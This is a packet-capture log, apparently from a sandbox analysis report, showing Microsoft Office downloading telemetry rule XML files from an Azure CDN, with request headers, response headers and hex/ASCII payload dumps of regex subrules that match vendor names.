2024-11-17 00:38:23 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:23 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003823Z-16547b76f7fwggrphC1DFW2a8s00000002dg00000000e94x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:23 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:23 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:23 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 86e20b26-901e-00a0-18ab-366a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003823Z-1866b5c5fbb55pxzhC1DFW1aps00000003m00000000099ux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:23 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:23 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:23 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 4e6a8ad7-601e-000d-69a9-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003823Z-16547b76f7fljddfhC1DFWeqbs000000049g00000000mt69 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:23 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:23 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:23 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: bdecc517-a01e-0050-3dc0-37db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003823Z-16547b76f7fljddfhC1DFWeqbs00000004fg000000001az7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:23 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:23 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:23 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a914475d-501e-00a0-6190-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003823Z-16547b76f7fkz9l7hC1DFW35uc00000000ng00000000a5dy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:24 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:23 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7f17f6e1-501e-00a3-5daf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003823Z-16547b76f7fpdsp9hC1DFW8f50000000011g00000000p42v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:23 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 885b02a2-801e-0035-1509-37752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003823Z-16547b76f7fk9g8vhC1DFW825400000004bg000000005y71 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:24 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:24 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2012891f-801e-00ac-7a8d-35fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003824Z-164f84587bf6h2bxhC1DFWbcm800000003pg00000000h4re x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:24 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 02e40e2a-001e-00a2-7a2b-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003824Z-16547b76f7f7zzl8hC1DFWmtag00000002c000000000hgew x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:24 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 763850b9-e01e-0071-4d09-3708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003824Z-16547b76f7fl5zvnhC1DFWtk9g00000001zg00000000avtw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:24 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:24 UTC	498	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 5823ae44-501e-0078-6fcd-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003824Z-1866b5c5fbbqmbqjhC1DFWwgvc0000000340000000007hr1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-17 00:38:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:24 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: fc50ab50-c01e-00a2-4413-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003824Z-164f84587bfr8hdmhC1DFWt5nc00000001u000000000978h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 